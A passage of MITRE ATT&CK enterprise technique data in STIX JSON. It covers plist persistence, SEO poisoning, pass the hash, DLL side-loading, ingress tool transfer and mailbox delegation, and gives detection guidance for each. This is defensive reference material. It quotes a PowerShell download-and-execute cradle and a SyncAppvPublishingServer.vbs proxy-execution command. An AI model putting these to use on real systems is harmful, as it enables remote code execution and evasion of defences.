"x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86", "created": "2020-02-10T20:47:10.082Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036/006", "external_id": "T1036.006"}, {"source_name": "Mac Backdoors are back", "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.", "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e", "created": "2020-01-24T18:15:06.641Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1547.007", "url": "https://attack.mitre.org/techniques/T1547/007"}, {"source_name": "Re-Open windows on Mac", "url": "https://support.apple.com/en-us/HT204005", "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017."}, {"source_name": "Methods of Mac Malware Persistence", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."}, {"source_name": "Wardle Persistence Chapter", "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.", "modified": "2022-04-19T23:46:56.443Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Re-opened Applications", "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "File: File Modification"], "x_mitre_permissions_required": ["User"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-13T20:35:52.302Z", "name": "SEO Poisoning", "description": "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site\u2019s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site\u2019s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Goldstein Menachem", "Vijay Lalwani", "Will Thomas, Equinix Threat Analysis Center (ETAC)", "Will Jolliffe", "Hiroki Nagahama, NEC Corporation", "Manikantan Srinivasan, NEC Corporation India", "Pooja Natarajan, NEC Corporation India"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3", "created": "2022-09-30T21:14:12.284Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/006", "external_id": "T1608.006"}, {"source_name": "MalwareBytes SEO", "description": "Arntz, P. (2018, May 29). SEO poisoning: Is it worth it?. Retrieved September 30, 2022.", "url": "https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it"}, {"source_name": "Atlas SEO", "description": "Atlas Cybersecurity. (2021, April 19). Threat Actors use Search-Engine-Optimization Tactics to Redirect Traffic and Install Malware. Retrieved September 30, 2022.", "url": "https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/"}, {"source_name": "Sophos Gootloader", "description": "Szappanos, G. & Brandt, A. (2021, March 1). \u201cGootloader\u201d expands its payload delivery options. Retrieved September 30, 2022.", "url": "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}, {"source_name": "DFIR Report Gootloader", "description": "The DFIR Report. (2022, May 9). SEO Poisoning \u2013 A Gootloader Story. Retrieved September 30, 2022.", "url": "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/"}, {"source_name": "ZScaler SEO", "description": "Wang, J. (2018, October 17). Ubiquitous SEO Poisoning URLs. Retrieved September 30, 2022.", "url": "https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-07-28T18:24:16.246Z", "name": "Pass the Hash", "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Blake Strom, Microsoft 365 Defender", "Travis Smith, Tripwire"], "x_mitre_deprecated": false, "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Active Directory: Active Directory Credential Request", "User Account: User Account Authentication"], "x_mitre_defense_bypassed": ["System Access Controls"], "type": "attack-pattern", "id": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "created": "2020-01-30T16:36:51.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550/002", "external_id": "T1550.002"}, {"source_name": "Stealthbits Overpass-the-Hash", "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.", "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["William Cain"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", "type": "attack-pattern", "created": "2017-05-31T21:30:46.461Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1052", "external_id": "T1052"}], "modified": "2021-10-15T22:48:29.702Z", "name": "Exfiltration Over Physical Medium", "description": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Access", "Drive: Drive Creation", "Process: Process Creation", "Command: Command Execution"], "x_mitre_system_requirements": ["Presence of physical medium or device"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-30T21:01:47.241Z", "name": "DLL Side-Loading", "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["File: File Modification", "Process: Process Creation", "Module: Module Load", "File: File Creation"], "x_mitre_defense_bypassed": ["Anti-virus", "Application Control"], "type": "attack-pattern", "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "created": "2020-03-13T19:41:37.908Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/002", "external_id": "T1574.002"}, {"source_name": "FireEye DLL Side-Loading", "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"modified": "2024-04-11T15:08:01.731Z", "name": "Ingress Tool Transfer", "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["John Page (aka hyp3rlinx), ApparitionSec", "Mark Wee", "Shailesh Tiwary (Indian Army)", "The DFIR Report", "Alain Homewood", "Joe Wise", "Jeremy Hedges", "Selena Larson, @selenalarson"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows <code>netsh interface portproxy</code> modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "2.4", "x_mitre_data_sources": ["File: File Creation", "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Command: Command Execution", "Network Traffic: Network Connection Creation"], "type": "attack-pattern", "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "created": "2017-05-31T21:31:16.408Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1105", "external_id": "T1105"}, {"source_name": "T1105: Trellix_search-ms", "description": " Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the \"search-ms\" URI Protocol Handler. Retrieved March 15, 2024.", "url": "https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/"}, {"source_name": "Dropbox Malware Sync", "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.", "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "t1105_lolbas", "description": "LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.", "url": "https://lolbas-project.github.io/#t1105"}, {"source_name": "PTSecurity Cobalt Dec 2016", "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-18T23:51:40.464Z", "name": "SyncAppvPublishingServer", "description": "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)\n    \nThe SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from `\\System32` through the command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)\n\nAdversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001) execution restrictions and evade defensive counter measures by \"living off the land.\"(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation: 7 - appv)\n\nFor example,  [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands may be invoked using:(Citation: 5 - appv)\n\n`SyncAppvPublishingServer.vbs \"n; {PowerShell}\"`", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Shaul Vilkomir-Preisman"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Script: Script Execution", "Command: Command Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60", "created": "2024-02-06T16:20:41.647Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1216/002", "external_id": "T1216.002"}, {"source_name": "4 - appv", "description": "John Fokker. (2022, March 17). Suspected DarkHotel APT activity update. Retrieved February 6, 2024.", "url": "https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/"}, {"source_name": "2 - appv", "description": "Microsoft. (2022, November 3). Getting started with App-V for Windows client. Retrieved February 6, 2024.", "url": "https://learn.microsoft.com/en-us/windows/application-management/app-v/appv-getting-started"}, {"source_name": "5 - appv", "description": "Nick Landers, Casey Smith. (n.d.). /Syncappvpublishingserver.vbs. Retrieved February 6, 2024.", "url": "https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/"}, {"source_name": "7 - appv", "description": "Nick Landers. (2017, August 8). Need a signed alternative to Powershell.exe? SyncAppvPublishingServer in Win10 has got you covered.. Retrieved February 6, 2024.", "url": "https://twitter.com/monoxgas/status/895045566090010624"}, {"source_name": "3 - appv", "description": "Raj Chandel. (2022, March 17). Indirect Command Execution: Defense Evasion (T1202). Retrieved February 6, 2024.", "url": "https://www.hackingarticles.in/indirect-command-execution-defense-evasion-t1202/"}, {"source_name": "1 - appv", "description": "SEONGSU PARK. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved February 6, 2024.", "url": "https://securelist.com/bluenoroff-methods-bypass-motw/108383/"}, {"source_name": "6 - appv", "description": "Strontic. (n.d.). SyncAppvPublishingServer.exe. Retrieved February 6, 2024.", "url": "https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-03T15:46:06.706Z", "name": "Additional Email Delegate Permissions", "description": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Microsoft Detection and Response Team (DART)", "Mike Burns, Mandiant", "Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)", "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", "Arad Inbar, Fidelis Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Office 365", "Google Workspace"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["Group: Group Modification", "Application Log: Application Log Content", "User Account: User Account Modification"], "type": "attack-pattern", "id": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", "created": "2020-01-19T16:54:28.516Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1098/002", "external_id": "T1098.002"}, {"source_name": "Bienstock, D. - Defending O365 - 2019", "description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.", "url": "https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365"}, {"source_name": "Crowdstrike Hiding in Plain Sight 2018", "description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.", "url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/"}, {"source_name": "Google Ensuring Your Information is Safe", "description": "Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.", "url": "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html"}, {"source_name": "Gmail Delegation", "description": "Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.", "url": "https://support.google.com/a/answer/7223765?hl=en"}, {"source_name": "FireEye APT35 2018", "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}, {"source_name": "Mandiant Defend UNC2452 White Paper", "description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.", "url": "https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"}, {"source_name": "Microsoft - Add-MailboxPermission", "description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.", "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", "type": "attack-pattern", "created": "2020-10-01T02:11:47.237Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1588.003", "url": "https://attack.mitre.org/techniques/T1588/003"}, {"url": "https://en.wikipedia.org/wiki/Code_signing", "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", "source_name": "Wikipedia Code Signing"}], "modified": "2021-10-17T16:19:50.018Z", "name": "Code Signing Certificates", "description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Malware Repository: Malware Metadata"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a", "type": "attack-pattern", "created": "2017-05-31T21:31:38.350Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1126", "url": "https://attack.mitre.org/techniques/T1126"}, {"url": "https://technet.microsoft.com/bb490717.aspx", "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", "source_name": "Technet Net Use"}], "modified": "2020-01-31T12:39:48.118Z", "name": "Network Share Connection Removal", "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. 